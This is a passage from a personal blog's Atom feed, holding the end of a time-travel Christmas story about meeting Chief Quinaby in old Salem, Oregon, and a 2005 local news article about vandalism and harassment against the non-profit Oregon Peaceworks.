stomache knotted up as I fell backwards, grasping at the slippery rail, plunging into the swift, cold waters of Mill Creek.&lt;/p&gt;&#xA;&lt;p&gt;I remember the owl staring down at me as I fell, &amp;quot;Hoia hai&amp;quot; echoing in my ears and a blinding flash of light as my head hit a rock and my body thudded against the muddy bank. When I awoke, I was frozen solid and could barely lift my arm to wipe the mud from my eyes. A light snow had begun to fall, and to my surprise, I could no longer see the bridge I had fallen from. I climbed the slippery bank, and found myself in a forest, no houses or streets in sight. I looked at the direction that the water in the creek was flowing, and I know it was flowing towards the river. So I followed the creek downstream, knowing it would bring me to the centre of town.&lt;/p&gt;&#xA;&lt;p&gt;As I walked, I again heard the sounds of mean laughing and roaring, speaking in a strange and foreign language. I came to a clearing in the woods, and through the sparse Yew trees, I saw a structure of some sort. The building looked suspiciously like a gigantic ice cream cone, turned upside down, and smashed into the ground, with smoke gently rising from the tip of the cone. I recognized the building from high school history class as a Native American building called a &amp;quot;wickiup&amp;quot;, though I&#39;d never seen a real one before. I approached the building and the voices became louder. Just as I was coming from the rear of the building, I saw a man walking up a small path through the woods with a lantern in his hand. He marched directly to the front of the building and yelled, &amp;quot;Quinaby! Quinaby, damn you, come out here right now!&amp;quot; A small aging man, with long black hair and bright shining eyes, dressed in a hat and waistcoat, poked his head out of the door and said, &amp;quot;Hey, hey, Bill Waldo. Quinaby glad to see you. Why you here on such a cold night?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Mr. Quinaby, you are too loud! My family and I are trying to sleep. You and your no-good tribe of gambling drunks are making such a racket, it&#39;ll wake the dead! Now quiet down, or I&#39;ll get the police!&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;The little man straightened up and said, &amp;quot;Bill Waldo, this is a special night for celebration. Quinaby always noisy on this night. Go home. Go to sleep. It is too cold for arguing. &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Bill&#39;s lantern flickered in the wind, and he said, &amp;quot;I don&#39;t have to let you stay on my land Quinaby. In fact, I think it&#39;s time you leave.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Quinaby stood tall and proud, like a statue. If was a scene fit for the brush of a great painter, and the lines that followed should be recorded in history books everywhere.&lt;/p&gt;&#xA;&lt;p&gt;Quinaby said, &amp;quot;Bill Waldo, you say Quinaby can no more have his camp! When white men came, they were few, Indians were many. Now white men many, Indians few. When white men came, Indians owned all the land. Now white men claim all the land, and Indians must herd into one place, and hide back in the mountains. When the white men came, Indians could kill them all. Some wanted to kill them, but Quinaby became white man&#39;s friend. He told the white men what Indians planned. He told Dan Waldo, and Bill Waldo. They were glad. Quinaby had their thanks.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Now Quinaby comes. He wants only what he has had, only what has been his right. Quinaby wants only his camp on a little piece of land no one else has a use for.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Bill Waldo, you say Quinaby may not have it any more!&amp;quot; Waldo could not resist. He turned without a word, and started down the path to his home. Quinaby went back inside and the gambling went on, and the chant, &amp;quot;Hoia hai, Hoia hai...&amp;quot; went ringing across the area.&lt;/p&gt;&#xA;&lt;p&gt;I was a little nervous, but desperate, as I crept around the side of the building, and stuck my head in the door. Four Indians turned in unison, instantly quiet, palming the small sticks in their hands.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Mr. Quinaby, can you help me?&amp;quot;, I said quickly, hoping to engage in conversation before my chest sprouted an arrow. Quinaby&#39;s thin laughter wheezed out and ended in a serious bout of coughing. He looked at me and said, &amp;quot;I like it when men say Mr. Quinaby. What do you want white man in the snow?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;I am lost. Can you please help me find my way back to the city?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Quinaby peered at me through wrinkled eyes for a moment. Finally he said, &amp;quot;You look very sick. Quinaby does not want you to die at his camp. Other white men will blame me. Come inside. Sit by the fire. &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I walked inside slowly, and the steady hard eyes of the men around the fire held me firmly in their gaze. They moved a little and made a space for me to sit down. Quinaby walked to the back of the room, and returned shortly with a plate of meat and some bread.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Eat this. Today is a special day. Today we have much food.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I thanked him and took the plate. I did not realize how hungry I had become until the warm and rich aroma of the meat tickled my nostrils. As I began to eat, Quinaby quietly muttered something in a strange language and the other men stood up, made a sign of respect, and left the building.&lt;/p&gt;&#xA;&lt;p&gt;Quinaby sat staring at me while I ate. After a few minutes, he said, &amp;quot;Your clothes are very strange. I do not know you. What is your name, and where are you from?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;My name is John,&amp;quot; I replied, &amp;quot;and I live in Salem.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Quinaby nodded once and said, &amp;quot;Ok, John. Finish your food, and we will go to Salem.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;After I cleared my plate, Quinaby walked over with two hand woven blankets in his hand, gave me one, and said, &amp;quot;Wear this!&amp;quot;, then wrapped his blanket around himself. I did the same, and as he walked towards the door he said, &amp;quot;Follow me.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;We headed down the thin path through the Yew trees, while a light flurry of snow fell all around us, our feet crunching as we walked.&lt;/p&gt;&#xA;&lt;p&gt;I am not a very social person usually, but the silence was making me a little nervous, so I asked, &amp;quot;What tribe are you from, Mr. Quinaby?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Quinaby chuckled to himself and said, &amp;quot;Molalla. Quinaby is the last chief. My mother was Chemewa, and my father was Chemeketa. We are all Kalapuya&amp;quot;. He was quiet for a moment, but then shook his head and said, &amp;quot;When Quinaby was a little boy, all the Kalapuya familes would meet at this time of year. Where the creek meets the river. We would share food, tell stories, and laugh by the fire. Sometimes, there would be very little food. One year, half the people died. Now that time is gone. White men came, and now there are buildings in that place. Many Indians died from sickness the white men bring. Now Indians very few. White men give me some food, so Quinaby is white man&#39;s friend&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;After some time, we came across a small house with glowing windows and smoke coming from the chimney. Quinaby said, &amp;quot;Wait here, Mr. John. I will go get some more food&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;He walked up to the house, knocked on the door, and then disappeared inside. A few minutes later, he came crunching back through the snow with a bulging flour sack over his shoulder, and a huge grin on his face.&lt;/p&gt;&#xA;&lt;p&gt;We started down the road again, and before long the road widened and a number of buildings lined the street on either side. Finally, we came to a small town. To my surprise, I recognized the street names. This was Salem, but not the Salem I knew. There were very few buildings and many trees. The roads were made of dirt, and there were no street lights. After a while we came to the intersection of Winter Street and Mill Creek, where I had fallen earlier that night.&lt;/p&gt;&#xA;&lt;p&gt;Quinaby could see my confusion and said, &amp;quot;Yes, it is very different here now. Let&#39;s sit down and eat&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;We climbed down to the muddy shore of the creek and sat down. We ate and ate, and talked and talked. Quinaby told me many stories. He told me of the special &amp;quot;Chikamin House&amp;quot;, where white men can go to get free money. He told me of a man named Kylus who had married his sister, bore three children with her, and then killed her. Quinaby said, &amp;quot;I wanted to cut him into four quarters, and hang him on each corner of the town, but instead, I go to his house, and take everything he own&amp;quot;. He told me of rivers full of salmon and forests full of deer. He told me of the long march to Grand Ronde Reservation.&lt;/p&gt;&#xA;&lt;p&gt;Finally, our sack of food was empty. He stopped talking, laid back and fell asleep. I yawned and felt the warmth of my blanket, my full stomach, and I laid down and drifted away.&lt;/p&gt;&#xA;&lt;p&gt;I awoke with a start to a nudge in the side, and a light flashing in my eyes.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;You ok there, mister?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I looked up to the familiar face of a police officer, and realized I was slumped against the rail of the bridge. I got up, mumbled that I was fine, thanks, and headed down the road.&lt;/p&gt;&#xA;&lt;p&gt;I am still unsure whether the events I experienced were a dream, or something more mysterious, but now, as I sit and write this story, on a lonely Christmas Day, I think about Quinaby and the people who lived here long before. If Quinaby were alive today and knew someone was going to be writing about him, would he have tried to live a better life? What makes a chief become a beggar, gambling, drinking, and eating until he fell down dead by the side of the creek? And I wonder why, 120 years later, the only memory we have of this man is a train station and a street with his name on them. His modern descendents, living in trailer homes and running casinos, are not so different than he was. When a way of life is destroyed, there is no way to bring it back. But in a way, Quinaby was still living in the same way he always had. He was living off the land, but now there were strange fruit in the form of white men. He picked fruit from their plentiful trees and tried to avoid the poisonous parts. Bill Waldo knew the shame of what his people had done, because he saw it first hand.&lt;/p&gt;&#xA;&lt;p&gt;So now, during this season of giving, I feel strangely aware of everything I have, and what was necessary to obtain it.&lt;/p&gt;&#xA;&lt;p&gt;Thank you, Chief Quinaby, for a memorable Christmas Eve, full of laughter, food, good conversation, and the enjoyment of life despite all odds. I hope that everyone can be so lucky during this coming winter season.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>No Peace For Peace Workers: Local Non-Profit suffers on-going harassment</title>
		<id>https://blog.thoward37.me/articles/no-peace-for-peace-workers</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/no-peace-for-peace-workers" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/no-peace-for-peace-workers" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/no-peace-for-peace-workers" type="text/html"></link>
		<published>2005-12-13T00:00:00+00:00</published>
		<updated>2005-12-13T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;em&gt;Note: This article originally written for the Salem Monthly Newspaper&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Oregon Peaceworks is a local non-profit organization who&#39;s stated mission is &amp;quot;to educate and activate people to work for peace, justice, and environmental protection&amp;quot;. For many years Oregon Peaceworks has boldly addressed such complicated and controversial topics as war, militarism, nuclear weaponry, the devastating effects of nuclear waste on the environment, and have provided valuable guidance for those wishing to live in a more peaceful and environmentally friendly manner. From their downtown office on the corner of Commercial and State, Executive Director Peter Bergel organizes these efforts into a variety of projects ranging from peaceful demonstrations to their monthly newspaper &#39;The Peaceworker&#39;. Unfortunately, by being such vocal challengers on the political stage, they have become a target for the opposition. Since the beginning of this year, their offices have been victim to increasing harassment by means of property destruction, vandalism, and even a personal attack.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;These incidents started out fairly mildly. The staff noticed that the newsstand in front of the office would become empty very quickly. Upon inspection, the missing newspapers were found stuffed into the public trashcan on the corner. At the time, they took it in stride, and solved the problem by placing only a few copies at a time in the newsstand.&lt;/p&gt;&#xA;&lt;p&gt;A few months later, their attackers raised the stakes by jamming the padlock on the gate that protects the stairwell leading to their second floor offices. This happened two times and on the third incident, the criminals even added their own lock and chain to the gate. After cutting the chain, Peter called the police, filed a report, and turned over the evidence for fingerprinting.&lt;/p&gt;&#xA;&lt;p&gt;Shortly thereafter, a new kind of attack was directed against these peaceful people. They were in the habit of storing the stacks of newspapers inside the locked stairwell prior to distribution. Late at night someone threw plastic bags filled with urine over the gate, splashing the stacks of papers and the stairs with human waste. They destroyed over a thousand newspapers and created a foul and unsanitary mess that required a lot of cleanup. This was a big blow to a non-profit organization with a very limited budget. They filed another police report and with the help of a generous donation by a staff member, re-printed the damaged papers. After that, they stored the newspapers inside the building.&lt;/p&gt;&#xA;&lt;p&gt;A few months went by without further incident, and by November 1st, they felt comfortable storing the newspapers on the stairs again. The first night the papers were outside, the attack was repeated, and hundreds more papers were destroyed. But that wasn&#39;t enough. The thugs took it to the next level and choose to attack Director Peter Bergel directly.&lt;/p&gt;&#xA;&lt;p&gt;That same morning, while cleaning up the destroyed newspapers at the office, Peter got a call from home. Someone had placed pieces of plywood, with sharp nails protruding from them, behind each tire of his car, obscured under piles of leaves. Fortunately, Peter had gone to work by bike that morning, so the spikes were removed before any damage occurred.&lt;/p&gt;&#xA;&lt;p&gt;More police reports have been filed, and the cases are currently under investigation, but at this time, there is no information available about possible suspects. When we contacted the Salem Police Department about these cases, they were unavailable for comment. Meanwhile, Peter checks his car every day, and the newspapers are back inside the office.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;It&#39;s a sad day when someone as nice as Peter and the other members of Oregon Peaceworks become victims of politically driven hate crimes. They are only exercising their constitutional right to freedom of speech. If you don&#39;t agree with them, don&#39;t destroy their newspapers, print your own! It&#39;s just childish.&amp;quot; says Adrianna Sutton, an employee of the Oregon Department of Foresty, &amp;quot;It doesn&#39;t matter what side of the political fence you&#39;re on, criminal behavior is never acceptable. But what can we expect? The enemies of peace have never played fair.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Concerned citizens may contact Detective Marty Miranda at the Salem Police Department, (503) 588-6050 ext. 7051. The case numbers for these incidents are: 05-8288, 05-25915, 05-51883, and 05-52578.&lt;/p&gt;&#xA;&lt;p&gt;For more information about Oregon Peaceworks or their newspaper &#39;The Peaceworker&#39;, please visit &lt;a href=&#34;http://www.oregonpeaceworks.org&#34;&gt;http://www.oregonpeaceworks.org&lt;/a&gt; or call (503) 585-2767.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;&lt;em&gt;Note: This article originally written for the Salem Monthly Newspaper&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Oregon Peaceworks is a local non-profit organization who&#39;s stated mission is &amp;quot;to educate and activate people to work for peace, justice, and environmental protection&amp;quot;. For many years Oregon Peaceworks has boldly addressed such complicated and controversial topics as war, militarism, nuclear weaponry, the devastating effects of nuclear waste on the environment, and have provided valuable guidance for those wishing to live in a more peaceful and environmentally friendly manner. From their downtown office on the corner of Commercial and State, Executive Director Peter Bergel organizes these efforts into a variety of projects ranging from peaceful demonstrations to their monthly newspaper &#39;The Peaceworker&#39;. Unfortunately, by being such vocal challengers on the political stage, they have become a target for the opposition. Since the beginning of this year, their offices have been victim to increasing harassment by means of property destruction, vandalism, and even a personal attack.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;These incidents started out fairly mildly. The staff noticed that the newsstand in front of the office would become empty very quickly. Upon inspection, the missing newspapers were found stuffed into the public trashcan on the corner. At the time, they took it in stride, and solved the problem by placing only a few copies at a time in the newsstand.&lt;/p&gt;&#xA;&lt;p&gt;A few months later, their attackers raised the stakes by jamming the padlock on the gate that protects the stairwell leading to their second floor offices. This happened two times and on the third incident, the criminals even added their own lock and chain to the gate. After cutting the chain, Peter called the police, filed a report, and turned over the evidence for fingerprinting.&lt;/p&gt;&#xA;&lt;p&gt;Shortly thereafter, a new kind of attack was directed against these peaceful people. They were in the habit of storing the stacks of newspapers inside the locked stairwell prior to distribution. Late at night someone threw plastic bags filled with urine over the gate, splashing the stacks of papers and the stairs with human waste. They destroyed over a thousand newspapers and created a foul and unsanitary mess that required a lot of cleanup. This was a big blow to a non-profit organization with a very limited budget. They filed another police report and with the help of a generous donation by a staff member, re-printed the damaged papers. After that, they stored the newspapers inside the building.&lt;/p&gt;&#xA;&lt;p&gt;A few months went by without further incident, and by November 1st, they felt comfortable storing the newspapers on the stairs again. The first night the papers were outside, the attack was repeated, and hundreds more papers were destroyed. But that wasn&#39;t enough. The thugs took it to the next level and choose to attack Director Peter Bergel directly.&lt;/p&gt;&#xA;&lt;p&gt;That same morning, while cleaning up the destroyed newspapers at the office, Peter got a call from home. Someone had placed pieces of plywood, with sharp nails protruding from them, behind each tire of his car, obscured under piles of leaves. Fortunately, Peter had gone to work by bike that morning, so the spikes were removed before any damage occurred.&lt;/p&gt;&#xA;&lt;p&gt;More police reports have been filed, and the cases are currently under investigation, but at this time, there is no information available about possible suspects. When we contacted the Salem Police Department about these cases, they were unavailable for comment. Meanwhile, Peter checks his car every day, and the newspapers are back inside the office.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;It&#39;s a sad day when someone as nice as Peter and the other members of Oregon Peaceworks become victims of politically driven hate crimes. They are only exercising their constitutional right to freedom of speech. If you don&#39;t agree with them, don&#39;t destroy their newspapers, print your own! It&#39;s just childish.&amp;quot; says Adrianna Sutton, an employee of the Oregon Department of Foresty, &amp;quot;It doesn&#39;t matter what side of the political fence you&#39;re on, criminal behavior is never acceptable. But what can we expect? The enemies of peace have never played fair.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Concerned citizens may contact Detective Marty Miranda at the Salem Police Department, (503) 588-6050 ext. 7051. The case numbers for these incidents are: 05-8288, 05-25915, 05-51883, and 05-52578.&lt;/p&gt;&#xA;&lt;p&gt;For more information about Oregon Peaceworks or their newspaper &#39;The Peaceworker&#39;, please visit &lt;a href=&#34;http://www.oregonpeaceworks.org&#34;&gt;http://www.oregonpeaceworks.org&lt;/a&gt; or call (503) 585-2767.&lt;/p&gt;&#xA;</content>
	</entry>
	<updated>2026-02-26T10:00:00-08:00</updated>
</feed>